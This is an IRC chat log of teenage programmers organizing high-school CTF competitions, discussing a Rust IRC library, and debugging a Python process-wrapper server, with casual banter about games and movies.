[2015-02-21T18:14:00-0500] <JacobEdelman> awe, have you seen this?: http://benjaminedelman.com/
[2015-02-21T18:35:54-0500] <+awe> Yes.
[2015-02-21T18:35:57-0500] <+awe> Several times, JacobEdelman.
[2015-02-21T19:40:50-0500] <JacobEdelman> hmm
[2015-02-21T19:41:03-0500] <JacobEdelman> so alokpathy, hardmath123, ubuntor, and Tamini all went up north
[2015-02-21T19:41:11-0500] <JacobEdelman> for the one day
[2015-02-21T19:41:14-0500] <JacobEdelman> its not snowing there
[2015-02-21T19:41:18-0500] <JacobEdelman> and its snowing here
[2015-02-21T19:41:18-0500] <+awe> And I'm here.
[2015-02-21T19:41:20-0500] <+awe> For the snow.
[2015-02-21T19:41:21-0500] <+awe> Yah.
[2015-02-21T19:41:38-0500] <JacobEdelman> how long are you here?
[2015-02-21T19:41:41-0500] <+awe> The weekend.
[2015-02-21T19:41:52-0500] <JacobEdelman> ahhhh
[2015-02-21T19:42:03-0500] <JacobEdelman> I probaly won't be able to see you than :(
[2015-02-21T20:47:34-0500] <LittleBobbyTables> http://www.dotabuff.com/matches/1262115657
[2015-02-21T22:59:44-0500] <JacobEdelman> wait
[2015-02-21T22:59:47-0500] <JacobEdelman> LittleBobbyTables: 25 kills?
[2015-02-21T22:59:56-0500] <JacobEdelman> *23
[2015-02-21T23:00:16-0500] <JacobEdelman> with techies :)
[2015-02-21T23:01:05-0500] <JacobEdelman> LittleBobbyTables: please teach me
[2015-02-21T23:02:04-0500] <LittleBobbyTables> kill shit
[2015-02-21T23:04:20-0500] <JacobEdelman> ...
[2015-02-21T23:04:29-0500] <JacobEdelman> specificaly how to play techies
[2015-02-21T23:08:53-0500] <LittleBobbyTables> @ddg assholes guide to techies youtube
[2015-02-21T23:08:53-0500] <+awebot> LittleBobbyTables: https://duckduckgo.com/?q=assholes+guide+to+techies+youtube
[2015-02-21T23:10:16-0500] <LittleBobbyTables> https://www.youtube.com/watch?v=5AMvHvVUa4I
[2015-02-21T23:22:05-0500] <JacobEdelman> LittleBobbyTables: I
[2015-02-21T23:22:10-0500] <JacobEdelman> I'm 38 seconds in and I know
[2015-02-21T23:22:14-0500] <JacobEdelman> why you like this video
[2015-02-21T23:22:16-0500] <JacobEdelman> :P
[2015-02-21T23:29:38-0500] <nezorg> who's putting on sctf again?
[2015-02-21T23:31:09-0500] <nezorg> JacobEdelman: ^
[2015-02-21T23:32:14-0500] <nezorg> awe: do you remember?
[2015-02-21T23:33:51-0500] <+awe> No idea, sorry, nezorg.
[2015-02-21T23:33:52-0500] <JacobEdelman> yes,
[2015-02-21T23:33:54-0500] <JacobEdelman> its a guy
[2015-02-21T23:34:04-0500] <JacobEdelman> give me a sec
[2015-02-21T23:34:13-0500] <JacobEdelman> arun dunna
[2015-02-21T23:34:27-0500] <JacobEdelman> he seems to be doing a huge amount of the work by himself
[2015-02-21T23:34:30-0500] <JacobEdelman> hes very impressive
[2015-02-21T23:34:49-0500] <nezorg> is he on irc somewhere?
[2015-02-21T23:34:53-0500] <JacobEdelman> not ours
[2015-02-21T23:34:56-0500] <JacobEdelman> he's on fb though
[2015-02-21T23:35:01-0500] <JacobEdelman> why do you want to talk to him?
[2015-02-21T23:35:17-0500] <nezorg> I need to know if we need a legit school name
[2015-02-21T23:35:27-0500] <nezorg> since we have members spanning 3 schools
[2015-02-21T23:39:35-0500] <JacobEdelman> I'll ask him
[2015-02-21T23:39:40-0500] <JacobEdelman> but I'm 90% sure its fine
[2015-02-21T23:39:42-0500] <JacobEdelman> if you don't
[2015-02-21T23:39:55-0500] <nezorg> thanks
[2015-02-21T23:40:33-0500] <JacobEdelman> I'll let you know when he replies
[2015-02-21T23:40:40-0500] <JacobEdelman> (probaly tommorow cause I gots too sleep)
[2015-02-21T23:49:35-0500] <nezorg> alright
[2015-02-22T01:29:32-0500] <LittleBobbyTables> "I don't wanna drown, that movie will be flooded with the liquid ooze of middleaged women"
[2015-02-22T02:28:29-0500] <nezorg> gee, I wonder what movie that could be
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[2015-02-22T08:33:04-0500] <+ubuntor> well, that was fun
[2015-02-22T08:36:45-0500] <+ubuntor> alokpathy, JacobEdelman: oh, can i contribute to easyctf?
[2015-02-22T08:37:03-0500] <+ubuntor> i'm interested in working on the game frontend, and maybe writing some problems
[2015-02-22T09:39:38-0500] <JacobEdelman> ubuntor: I'll ask michael zhang to come on here and talk to you about it
[2015-02-22T09:39:44-0500] <JacobEdelman> (his username is failedxyz)
[2015-02-22T09:48:15-0500] <JacobEdelman> LittleBobbyTables: it would be entertaining to see the guy who did the arseholes guide to techies due something like history lessons with the same style :P
[2015-02-22T10:03:07-0500] <JacobEdelman> nezorg: its fine to have people from multiple schools, just no more than 6 people per team
[2015-02-22T10:03:32-0500] <JacobEdelman> nezorg: he said "For the school they can put the initials of all three if they want or the primary school:
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[2015-02-22T11:28:32-0500] <failedxyz> hei
[2015-02-22T11:37:15-0500] <JacobEdelman> ubuntor: you should talk to failedxyz about easyctf, he's running it
[2015-02-22T11:39:18-0500] <nezorg> JacobEdelman: uhhhhh oops we put "Massachusetts Institute of America"
[2015-02-22T11:39:46-0500] <failedxyz> LOL
[2015-02-22T11:41:57-0500] <failedxyz> http://puu.sh/g7ZEb/4d8ec5f69b.png
[2015-02-22T11:41:58-0500] <failedxyz> gg
[2015-02-22T11:44:43-0500] <JacobEdelman> nezorg: wait, I though 1064Bread was from dos peublos?
[2015-02-22T11:45:28-0500] <nezorg> mostly, but we have Tamini (from tj) and my brother (from a junior high) playing with us this time
[2015-02-22T11:45:39-0500] <nezorg> we changed the school name
[2015-02-22T11:46:45-0500] <nezorg> ... wait, how are we 6th?
[2015-02-22T11:46:51-0500] <nezorg> we just registered last night
[2015-02-22T11:48:13-0500] <+awe> nezorg: Massachusetts Institute of America. Lol.
[2015-02-22T11:48:18-0500] <failedxyz> o
[2015-02-22T11:48:39-0500] <failedxyz> 3 schools now
[2015-02-22T11:49:16-0500] <nezorg> awe: you get the reference, right?
[2015-02-22T11:50:43-0500] <+awe> >MIA?
[2015-02-22T11:51:16-0500] <+awe> Oh, and the mouseover text on that XKCD comic.
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[2015-02-22T11:52:08-0500] <nezorg> yeah
[2015-02-22T11:56:49-0500] <nezorg> anyone know why we're randomly in 6th?
[2015-02-22T12:15:41-0500] <JacobEdelman> because you registered 6th or something?
[2015-02-22T12:15:43-0500] <JacobEdelman> I have no idea
[2015-02-22T12:15:49-0500] <JacobEdelman> go onto the sctf irc
[2015-02-22T12:17:25-0500] <failedxyz> k
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[2015-02-22T12:25:23-0500] <+awe> JacobEdelman: why are you not encouraging them all to do IRC here?
[2015-02-22T12:26:33-0500] <+awe> JacobEdelman: i.e. why is this not the SCTF irc?
[2015-02-22T12:27:46-0500] <JacobEdelman> I tried
[2015-02-22T12:27:50-0500] <JacobEdelman> but he already had something set up
[2015-02-22T12:27:55-0500] <JacobEdelman> with the mibbit online client
[2015-02-22T12:28:01-0500] <JacobEdelman> sorry :(
[2015-02-22T12:28:16-0500] <JacobEdelman> I'll get the good people to come here afterwards
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[2015-02-22T12:44:15-0500] <+awe> Fill: how's the command iterator coming along?
[2015-02-22T12:44:32-0500] <+awe> Fill: and do you think making an IRC prelude of sorts would be useful?
[2015-02-22T12:45:01-0500] <+awe> Fill: something where you could just do `use irc::client::prelude::*; ` and it'd get you all the basics.
[2015-02-22T12:47:26-0500] <adunna> Sorry if I had known about this sooner I would've set this as the sCTF chat, I just found out a short while ago about this
[2015-02-22T12:49:57-0500] <+awe> adunna: Completely JacobEdelman's fault, don't worry. :)
[2015-02-22T12:50:03-0500] <JacobEdelman> ...
[2015-02-22T12:50:07-0500] <JacobEdelman> I love you too awe
[2015-02-22T12:50:09-0500] <JacobEdelman> :P
[2015-02-22T12:50:09-0500] <+awe> <3
[2015-02-22T12:50:17-0500] <+awe> Well, I mean you were supposed to tell them about it.
[2015-02-22T12:50:30-0500] <+awe> But yeah, it's not the end of the world.
[2015-02-22T12:50:36-0500] <JacobEdelman> also, fair warning to adunna, if you get a creepy pm from awebot, thats a feature, not a bug
[2015-02-22T12:50:57-0500] <+awe> Ahahaha, yup.
[2015-02-22T12:51:20-0500] <+awe> JacobEdelman: all of my Rust projects are green on travis again. :)
[2015-02-22T12:53:27-0500] <+awe> JacobEdelman: including my git author/committer data scrubber that had a weird lifetime issue.
[2015-02-22T13:01:11-0500] <JacobEdelman> nice
[2015-02-22T13:01:24-0500] <JacobEdelman> was it you, rust, travis, or ezra?
[2015-02-22T13:02:47-0500] <+awe> wat?
[2015-02-22T13:02:56-0500] <+awe> Well, Rust updated and broke everything and then I fixed it.
[2015-02-22T13:08:42-0500] <LittleBobbyTables> JacobEdelman: I got my laptop signed by him
[2015-02-22T13:09:39-0500] <+alokpathy> woo back from Boston.
[2015-02-22T13:11:00-0500] <+awe> alokpathy: welcome ack
[2015-02-22T13:11:02-0500] <+awe> back*
[2015-02-22T13:11:05-0500] <+awe> alokpathy: I'm leaving today :)
[2015-02-22T13:14:28-0500] <+alokpathy> awe: For what?
[2015-02-22T13:14:40-0500] <+awe> To go back to school?
[2015-02-22T13:14:49-0500] <+alokpathy> You had off?
[2015-02-22T13:14:57-0500] <+alokpathy> o.O
[2015-02-22T13:15:15-0500] <JacobEdelman> LittleBobbyTables: cool
[2015-02-22T13:15:25-0500] <JacobEdelman> alokpathy: get on sctf irc
[2015-02-22T13:15:38-0500] <+awe> alokpathy: it was the weekend?
[2015-02-22T13:33:02-0500] <Fill> awe: I barely started, I'll look at it later today. I was busy in the last couple of days. About the prelude, can you clarify? I didn't understand. You mean making another layer / library above the basic library we have now?
[2015-02-22T13:33:12-0500] <+awe> It's not another layer.
[2015-02-22T13:33:14-0500] <+awe> It'd just be a utility thing.
[2015-02-22T13:33:21-0500] <Fill> to simplify usage?
[2015-02-22T13:33:33-0500] <+awe> there'd be a module prelude in irc::client that has IrcServer and the Server trait and Command and Message
[2015-02-22T13:33:39-0500] <+awe> and maybe some other stuff
[2015-02-22T13:33:51-0500] <+awe> and you'd just do use irc::client::prelude::* instead of having a bunch of import lines just for basic functionality.
[2015-02-22T13:34:04-0500] <Fill> ahhh
[2015-02-22T13:34:14-0500] <Fill> awe: I think it's a good idea
[2015-02-22T13:34:34-0500] <Fill> it abstracts the internal organization of the library and simplifies usage
[2015-02-22T13:35:38-0500] <+awe> Okay, I'll do that in a bit.
[2015-02-22T13:38:16-0500] <Fill> awe: I'll try and make my PR either today or tomorrow. Sorry for the delay but it's been crazy this week
[2015-02-22T13:38:23-0500] <+awe> Yeah, no worries.
[2015-02-22T13:38:27-0500] <Fill> :)
[2015-02-22T13:45:57-0500] <+alokpathy> awe: Oh, wait, so college kids don't stay in their dorms on weekends?
[2015-02-22T13:46:02-0500] <+alokpathy> So where are yo unow?
[2015-02-22T13:46:03-0500] <+awe> Some of them do?
[2015-02-22T13:46:06-0500] <+awe> I usually do?
[2015-02-22T13:46:09-0500] <+awe> I'm in NJ.
[2015-02-22T13:46:12-0500] <+alokpathy> Oh cool.
[2015-02-22T13:46:18-0500] <+alokpathy> So we're switching spots :P
[2015-02-22T13:53:22-0500] <+awe> alokpathy: Yeah, basically.
[2015-02-22T13:59:37-0500] <+alokpathy> Nice XD
[2015-02-22T14:06:56-0500] <+awe> UPenn courses appear to have significantly more interesting homework assignments.
[2015-02-22T14:07:06-0500] <+awe> This one is about solving an online robbery of the Haskell Bank.
[2015-02-22T14:07:27-0500] <+awe> And the guy stole ~$13,000 by funneling it through a bunch of accounts.
[2015-02-22T14:07:31-0500] <+awe> My homework is like "make hangman."
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[2015-02-22T14:11:28-0500] <grantwu> :/
[2015-02-22T14:14:05-0500] <+alokpathy> nezorg: Does 1064CBread not care about sCTF anymore? xD
[2015-02-22T14:16:02-0500] <nezorg> no, we're playing
[2015-02-22T14:16:05-0500] <nezorg> just sucking
[2015-02-22T14:16:12-0500] <nezorg> we only have 2 people atm
[2015-02-22T14:17:02-0500] <+alokpathy> Ah okay
[2015-02-22T14:17:16-0500] <+alokpathy> Sorry about the lack of linux binaries btw
[2015-02-22T14:17:47-0500] <+alokpathy> I have a bank, but they're mainly for other CTFs since sCTF was already going to have binaries
[2015-02-22T14:17:52-0500] <+alokpathy> whereas the other two wouldn't have binaries at all.
[2015-02-22T14:30:09-0500] <JacobEdelman> nezorg: don't complain about that last problem being removed
[2015-02-22T14:30:17-0500] <JacobEdelman> it was waaaay to easy
[2015-02-22T14:30:43-0500] <nezorg> still
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[2015-02-22T19:03:26-0500] Topic is Temporary qdb: http://backtick.town/~kc/qdb.txt | Pidgey is on GitHub: http://git.io/caK7Kg | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2015-02-22T19:03:26-0500] Set by awe on February 3, 2015 at 9:47:16 PM EST
[2015-02-22T17:56:55-0500] <JacobEdelman> ubuntor: recently? I just started talking to corwin today
[2015-02-22T17:57:56-0500] <+ubuntor> yeah, about 2 hours ago
[2015-02-22T17:59:06-0500] <+ubuntor> actually, if that's already going on, then we could wait until corwin responds
[2015-02-22T17:59:42-0500] <JacobEdelman> ubuntor: what questions are there?
[2015-02-22T17:59:59-0500] <JacobEdelman> I mean, ask failedxyz whether he thinks hscs.io helped him
[2015-02-22T18:00:12-0500] <JacobEdelman> or you can ask arun , or jay mo
[2015-02-22T18:00:15-0500] <+ubuntor> just that one
[2015-02-22T18:00:24-0500] <JacobEdelman> which what?
[2015-02-22T18:00:44-0500] <+ubuntor> what partnering up would do
[2015-02-22T18:01:48-0500] <JacobEdelman> heres what I said to corwin:
[2015-02-22T18:01:50-0500] <JacobEdelman> "hscs.io helps out organizers of CTFs, helps them get people (hsctf had 2000+, easyctf, had 1000+, sctf  has quiet a few and it started 30 min ago), sponsorship (we're currently giving 100 dollars of namecheap credits as prizes for all the ctfs, although tjctf may not be able to get that since we already talked to namecheap, but were in talks with other companies for sponsorship too), help with platforms (testing, debugging, checking for securi
[2015-02-22T18:01:50-0500] <JacobEdelman> and such
[2015-02-22T18:01:50-0500] <JacobEdelman> "
[2015-02-22T18:02:00-0500] <JacobEdelman> we send out emails
[2015-02-22T18:02:05-0500] <JacobEdelman> to our large mailing lists
[2015-02-22T18:02:09-0500] <JacobEdelman> and help hook you up
[2015-02-22T18:02:14-0500] <JacobEdelman> with people with large mailing lists
[2015-02-22T18:02:21-0500] <JacobEdelman> we help review sponsorship emails
[2015-02-22T18:02:23-0500] <JacobEdelman> and such
[2015-02-22T18:02:25-0500] <+ubuntor> oh, neat
[2015-02-22T18:02:34-0500] <JacobEdelman> talk to corwin
[2015-02-22T18:02:35-0500] <failedxyz> ^
[2015-02-22T18:02:37-0500] <JacobEdelman> convince him
[2015-02-22T18:02:46-0500] <failedxyz> does corwin run tjctf
[2015-02-22T18:02:47-0500] <+ubuntor> alright
[2015-02-22T18:02:53-0500] <JacobEdelman> ubuntor: thanks!
[2015-02-22T18:04:40-0500] <+ubuntor> failedxyz: yeah
[2015-02-22T18:04:57-0500] <+ubuntor> or at least one of the organizers
[2015-02-22T18:05:34-0500] <failedxyz> oh i see
[2015-02-22T18:13:52-0500] <failedxyz> holy shit
[2015-02-22T18:13:59-0500] <failedxyz> the intro cs teacher at my school
[2015-02-22T18:14:02-0500] <failedxyz> is retarded
[2015-02-22T18:14:10-0500] <failedxyz> this is the kind of shit they do in class
[2015-02-22T18:14:10-0500] <failedxyz> https://fbcdn-sphotos-h-a.akamaihd.net/hphotos-ak-xpf1/v/t34.0-12/11020449_1560189524264631_233903748_n.jpg?oh=13cf8d8dbb22d2fe649252f19e18778b&oe=54ECC1C1&__gda__=1424816977_41c3c178cef7cba3ab152eff3fecd106
[2015-02-22T18:14:25-0500] <failedxyz> MONOSPACE FONT PLS
[2015-02-22T18:20:30-0500] <+ubuntor> oh god
[2015-02-22T18:22:34-0500] <+alokpathy> lol
[2015-02-22T18:22:36-0500] <+alokpathy> while 3 > 1
[2015-02-22T18:41:26-0500] <failedxyz> yeah
[2015-02-22T18:41:31-0500] <failedxyz> this is why our school sucks at cs
[2015-02-22T18:42:25-0500] <failedxyz> yo JacobEdelman should i ask github for sponsorship
[2015-02-22T18:42:30-0500] <failedxyz> we need money for servers
[2015-02-22T18:42:46-0500] <failedxyz> or should i just ask heroku directly
[2015-02-22T19:01:29-0500] <JacobEdelman> failedxyz: I'm gonna try working out a specific deal for all hscs.io servers
[2015-02-22T19:01:32-0500] <JacobEdelman> with some group
[2015-02-22T19:01:47-0500] <JacobEdelman> also
[2015-02-22T19:01:53-0500] <JacobEdelman> that python from your intro cs
[2015-02-22T19:01:56-0500] <JacobEdelman> is painful
[2015-02-22T19:02:23-0500] <+alokpathy> Which group?
[2015-02-22T19:03:16-0500] <JacobEdelman> unknown
[2015-02-22T19:03:26-0500] Mode is +nt
[2015-02-22T19:03:33-0500] <LittleBobbyTables> kingsman is a good movie.
[2015-02-22T19:05:46-0500] <JacobEdelman> metacritic disagrees: http://www.metacritic.com/movie/kingsman-the-secret-service
[2015-02-22T19:06:30-0500] <+alokpathy> Is a 74 good on MC?
[2015-02-22T19:07:05-0500] <+alokpathy> jk it must be
[2015-02-22T19:07:23-0500] <+alokpathy> Interstellar, Guardians, and Big Hero 6 all have 74ish socres
[2015-02-22T19:11:38-0500] hardmath123 (hardmath123@pdgn-1fv.ggl.o6nc3t.IP) joined the channel
[2015-02-22T19:11:49-0500] <+alokpathy> hardmath123: Back in Cali?
[2015-02-22T19:12:04-0500] <hardmath123> alokpathy: Yeah, back in the land of sunny weather.
[2015-02-22T19:12:04-0500] <+awebot> hardmath123: 2 days ago, awe said no bb no, I'll be missing you.
[2015-02-22T19:12:04-0500] <+awebot> hardmath123: 2 days ago, awe said well, you won't get this until afterward, so, uhh... I missed you! <3.
[2015-02-22T19:12:19-0500] <hardmath123> awe: <3
[2015-02-22T19:12:29-0500] <+alokpathy> hardmath123: It was cool meeting you :D
[2015-02-22T19:12:41-0500] <hardmath123> alokpathy: you too! :D
[2015-02-22T19:13:21-0500] <hardmath123> imma go take a shower. i was too frozen to brave it in boston, so i probably smell like a dead fish right now.
[2015-02-22T19:13:30-0500] <+alokpathy> Alrighty xD
[2015-02-22T19:17:37-0500] <failedxyz> lol
[2015-02-22T19:22:27-0500] <JacobEdelman> hardmath123: welcome back
[2015-02-22T19:23:22-0500] <JacobEdelman> and by back I mean back on pdgn
[2015-02-22T19:23:42-0500] <failedxyz> lol
[2015-02-22T19:27:58-0500] <Fill> awe: just a quick note to tell you I've got the Command redesign almost ready. I gotta go now, but I'd say tomorrow I'll finish
[2015-02-22T19:28:44-0500] <failedxyz> someone help
[2015-02-22T19:28:44-0500] <failedxyz> http://pastebin.com/w8ShwUiY
[2015-02-22T19:28:49-0500] <failedxyz> wtf is this and why does it work
[2015-02-22T19:30:09-0500] • hardmath123: is back and squeaky-clean.
[2015-02-22T19:30:48-0500] <failedxyz> lol
[2015-02-22T19:31:14-0500] <+ubuntor> string conversion trickery
[2015-02-22T19:31:25-0500] <failedxyz> ?
[2015-02-22T19:31:46-0500] <+ubuntor> ""+{} gives you "[object Object]"
[2015-02-22T19:31:55-0500] <+ubuntor> which you can then access and build stuff out of
[2015-02-22T19:32:03-0500] <failedxyz> o
[2015-02-22T19:32:13-0500] <failedxyz> yeah
[2015-02-22T19:32:14-0500] <failedxyz> but
[2015-02-22T19:32:24-0500] <failedxyz> wtf is while(0.25=+}
[2015-02-22T19:33:05-0500] <+ubuntor> oh, weird
[2015-02-22T19:33:36-0500] <+ubuntor> ...huh
[2015-02-22T19:33:52-0500] <+ubuntor> i think there's a rtl marker somewhere in there
[2015-02-22T19:34:25-0500] <+ubuntor> i'm having a hard time selecting the relevant portion
[2015-02-22T19:34:27-0500] <JacobEdelman> hardmath123: I submitted a pull request to hamelin
[2015-02-22T19:35:28-0500] <failedxyz> lol
[2015-02-22T19:35:38-0500] <failedxyz> http://puu.sh/g8CGc/f97542fffa.png
[2015-02-22T19:36:17-0500] <hardmath123> JacobEdelman: does it work?
[2015-02-22T19:36:47-0500] <+ubuntor> ok, it's [stuff]=1; i=12.9915; while([stuff]%2) {[stuff]+=0.25; i+=129.915;}
[2015-02-22T19:37:09-0500] <failedxyz> yeah
[2015-02-22T19:39:05-0500] <JacobEdelman> hardmath123: yes, but feel free to test it out more
[2015-02-22T19:39:07-0500] <failedxyz> http://pastebin.com/0qUEH6hC
[2015-02-22T19:39:13-0500] <failedxyz> k replaced the high-ascii shit with shit
[2015-02-22T19:39:24-0500] <JacobEdelman> hardmath123: note that there are restriction on what programs it can run , they have to always give some output
[2015-02-22T19:39:33-0500] <JacobEdelman> hardmath123: after a newline
[2015-02-22T19:39:48-0500] <JacobEdelman> hardmath123: or else I couldn't tell whether the program was running, or just didn't give any output
[2015-02-22T19:41:32-0500] <hardmath123> umm
[2015-02-22T19:41:35-0500] <hardmath123> that shouldn't be an issue?
[2015-02-22T19:41:40-0500] <JacobEdelman> meaning?
[2015-02-22T19:41:42-0500] <JacobEdelman> awe told me
[2015-02-22T19:41:44-0500] <JacobEdelman> it was fine
[2015-02-22T19:41:46-0500] <JacobEdelman> to expect output
[2015-02-22T19:41:48-0500] <JacobEdelman> I mean
[2015-02-22T19:42:01-0500] <JacobEdelman> grep --line-buffered would not work
[2015-02-22T19:42:16-0500] <JacobEdelman> since if it doesn't match, it doesn't output anything
[2015-02-22T19:42:24-0500] <JacobEdelman> so I can't tell if its just being really really slow
[2015-02-22T19:42:29-0500] <JacobEdelman> or if there is no output
[2015-02-22T19:42:46-0500] <hardmath123> hamelin gives ops for detecting whether the proc exited
[2015-02-22T19:42:57-0500] <hardmath123> i think
[2015-02-22T19:43:10-0500] <JacobEdelman> that doesn't matter
[2015-02-22T19:43:12-0500] <hardmath123> so you should wait for the proc to exit and then send everything
[2015-02-22T19:43:17-0500] <JacobEdelman> cause grep --line-buffered does not exit
[2015-02-22T19:43:26-0500] <JacobEdelman> I mean, it could work that way
[2015-02-22T19:43:26-0500] <hardmath123> oh you need to close the input file
[2015-02-22T19:43:28-0500] <hardmath123> hang on
[2015-02-22T19:43:32-0500] <JacobEdelman> but right now it doesn't
[2015-02-22T19:43:39-0500] <JacobEdelman> feel free to change it 
[2015-02-22T19:43:47-0500] <JacobEdelman> but you should pull what I have
[2015-02-22T19:43:55-0500] <hardmath123> server.eof()
[2015-02-22T19:43:56-0500] <hardmath123> https://github.com/Hardmath123/hamelin/blob/master/hamelin-py/bin/hamelin.py#L150
[2015-02-22T19:44:00-0500] <JacobEdelman> (a simple test was cat)
[2015-02-22T19:44:39-0500] <JacobEdelman> I know that
[2015-02-22T19:44:54-0500] <JacobEdelman> but that still doesn't solf
[2015-02-22T19:44:58-0500] <JacobEdelman> *solve 
[2015-02-22T19:45:04-0500] <JacobEdelman> the problem of telling when to send that
[2015-02-22T19:45:09-0500] <JacobEdelman> well
[2015-02-22T19:45:11-0500] <JacobEdelman> I mean
[2015-02-22T19:45:21-0500] <JacobEdelman> at least I don't think it does
[2015-02-22T19:45:28-0500] <hardmath123> yeah it does
[2015-02-22T19:45:38-0500] <JacobEdelman> hmm... 
[2015-02-22T19:45:44-0500] <hardmath123> >> serv.send(data + "\n")
[2015-02-22T19:45:49-0500] <JacobEdelman> so, you think I should just send that after entering input?
[2015-02-22T19:45:50-0500] <hardmath123> put >> serv.eof() after that
[2015-02-22T19:45:58-0500] <JacobEdelman> I think i tried that
[2015-02-22T19:46:00-0500] <JacobEdelman> and had problems
[2015-02-22T19:46:05-0500] <hardmath123> "problems"
[2015-02-22T19:46:19-0500] <+ubuntor> failedxyz: ok, so basically it does a bunch of complicated stuff to run toString(16) on 51966
[2015-02-22T19:46:47-0500] <+ubuntor> the first chunk creates 51966
[2015-02-22T19:47:10-0500] <+ubuntor> the second chunk builds up strings to get "toString"
[2015-02-22T19:48:02-0500] <JacobEdelman> hardmath123: yup, that doesn't work
[2015-02-22T19:48:07-0500] <JacobEdelman> the server sends an empty output
[2015-02-22T19:48:14-0500] <JacobEdelman> for unknown reasons
[2015-02-22T19:48:23-0500] <JacobEdelman> possibly because
[2015-02-22T19:48:25-0500] <JacobEdelman> that forces
[2015-02-22T19:48:33-0500] <JacobEdelman> the program
[2015-02-22T19:48:36-0500] <JacobEdelman> to print a newline
[2015-02-22T19:48:44-0500] <JacobEdelman> which a lot do upon exiting I think
[2015-02-22T19:48:47-0500] <JacobEdelman> and so I send that
[2015-02-22T19:48:50-0500] <JacobEdelman> as the one thing
[2015-02-22T19:48:51-0500] <JacobEdelman> and than quit
[2015-02-22T19:49:02-0500] <JacobEdelman> yeah
[2015-02-22T19:49:03-0500] <hardmath123> wait what
[2015-02-22T19:49:09-0500] <JacobEdelman> it seems to be that cause it works about half the time
[2015-02-22T19:49:11-0500] <hardmath123> so vague! :P
[2015-02-22T19:49:13-0500] <JacobEdelman> when you send eof
[2015-02-22T19:49:21-0500] <JacobEdelman> many programs
[2015-02-22T19:49:23-0500] <JacobEdelman> such as cat
[2015-02-22T19:49:27-0500] <JacobEdelman> print a newline and than exit
[2015-02-22T19:49:34-0500] <JacobEdelman> my hamelin-http
[2015-02-22T19:49:54-0500] <JacobEdelman> takes the output from the program, sends it to the client, and than kills the server
[2015-02-22T19:50:01-0500] <hardmath123> don't kill the server
[2015-02-22T19:50:08-0500] <JacobEdelman> but I can't send multiple things
[2015-02-22T19:50:12-0500] <JacobEdelman> not for an http request
[2015-02-22T19:50:22-0500] <JacobEdelman> oh wait, hmmm...
[2015-02-22T19:50:23-0500] <hardmath123> umm
[2015-02-22T19:51:10-0500] <hardmath123> > http://github.com/JacobEdelman/hamelin/commit/31283a76a5e8a155c3894c4d892335ab30b9bf34#diff-3e88ae88d284d75b1a6b67722f0d4c04R26
[2015-02-22T19:51:11-0500] <hardmath123> why?
[2015-02-22T19:51:26-0500] <hardmath123> you don't need to explicitly kill()
[2015-02-22T19:51:34-0500] <hardmath123> when the server gets EOF it'll exit automagically
[2015-02-22T19:51:45-0500] <hardmath123> or it won't, but if it doesn't, it's the user's conscious decision
[2015-02-22T19:52:52-0500] <JacobEdelman> okay
[2015-02-22T19:52:57-0500] <JacobEdelman> that I can get rid of
[2015-02-22T19:53:01-0500] <JacobEdelman> I think
[2015-02-22T19:53:12-0500] <JacobEdelman> hmmm...
[2015-02-22T19:54:31-0500] <JacobEdelman> still gots weird stuff
[2015-02-22T19:55:40-0500] <JacobEdelman> hardmath123: updated version
[2015-02-22T19:55:40-0500] <JacobEdelman> https://gist.github.com/JacobEdelman/3ff17bc673d927274ef1
[2015-02-22T19:55:44-0500] <JacobEdelman> works only part of the time
[2015-02-22T19:55:49-0500] <JacobEdelman> but conforms to specifications
[2015-02-22T19:55:50-0500] <JacobEdelman> :P
[2015-02-22T19:56:17-0500] <JacobEdelman> also, the print "hi"... bit is for my testing
[2015-02-22T19:56:30-0500] <JacobEdelman> it works a bit less than half the time
[2015-02-22T19:57:00-0500] <JacobEdelman> I think its because
[2015-02-22T19:57:02-0500] <JacobEdelman> I'm sending the eof
[2015-02-22T19:57:06-0500] <JacobEdelman> before I get the output
[2015-02-22T19:57:36-0500] <hardmath123> that shouldn't be an issue
[2015-02-22T19:57:58-0500] <hardmath123> why are you using thread.join to wait until done?
[2015-02-22T19:58:43-0500] <JacobEdelman> if i leave the function than the connection is terminated
[2015-02-22T19:58:50-0500] <hardmath123> oh i see how you're doing it
[2015-02-22T19:59:55-0500] <hardmath123> while serv.alive: pass;
[2015-02-22T19:59:59-0500] <hardmath123> use that instead
[2015-02-22T20:00:04-0500] <hardmath123> no wait
[2015-02-22T20:00:08-0500] <hardmath123> while serv.alive:
[2015-02-22T20:00:12-0500] <hardmath123>     time.sleep(0);
[2015-02-22T20:00:15-0500] <hardmath123> use *that* instead
[2015-02-22T20:00:33-0500] <hardmath123> instead of thread.join
[2015-02-22T20:00:45-0500] <hardmath123> serv.thread shouldn't be user-facing
[2015-02-22T20:03:22-0500] <JacobEdelman> no no
[2015-02-22T20:03:25-0500] <JacobEdelman> that seems bad
[2015-02-22T20:03:29-0500] <JacobEdelman> very bad
[2015-02-22T20:03:34-0500] <JacobEdelman> I specifically avoided that
[2015-02-22T20:03:41-0500] <hardmath123> why is that bad
[2015-02-22T20:03:43-0500] <hardmath123> that's good
[2015-02-22T20:04:08-0500] <JacobEdelman> while loops
[2015-02-22T20:04:10-0500] <JacobEdelman> uhg...
[2015-02-22T20:04:12-0500] <JacobEdelman> polling
[2015-02-22T20:04:13-0500] <JacobEdelman> uhg
[2015-02-22T20:04:15-0500] <JacobEdelman> but fine
[2015-02-22T20:04:23-0500] <JacobEdelman> it still doesn't work
[2015-02-22T20:04:24-0500] <hardmath123> it's threaded python
[2015-02-22T20:04:28-0500] <hardmath123> it's idiomatic
[2015-02-22T20:04:30-0500] <JacobEdelman> still fails
[2015-02-22T20:04:43-0500] <hardmath123> jacob, "doesn't work" and "fails" are not descriptive.
[2015-02-22T20:05:17-0500] <JacobEdelman> it only works about 50% of the time
[2015-02-22T20:05:23-0500] <JacobEdelman> the other 50% it returns nothing
[2015-02-22T20:05:38-0500] <hardmath123> "returns"?
[2015-02-22T20:05:46-0500] <JacobEdelman> the output of the server
[2015-02-22T20:05:50-0500] <JacobEdelman> it reponds to the get request
[2015-02-22T20:05:53-0500] <JacobEdelman> with an empty
[2015-02-22T20:05:54-0500] <JacobEdelman> string
[2015-02-22T20:06:00-0500] <JacobEdelman> (possibly headers too)
[2015-02-22T20:06:08-0500] <hardmath123> possible headers?
[2015-02-22T20:06:12-0500] <hardmath123> how are you testing this?
[2015-02-22T20:06:15-0500] <JacobEdelman> curl
[2015-02-22T20:06:23-0500] <JacobEdelman> gtg
[2015-02-22T20:06:24-0500] <hardmath123> using -v?
[2015-02-22T20:06:27-0500] <JacobEdelman> no
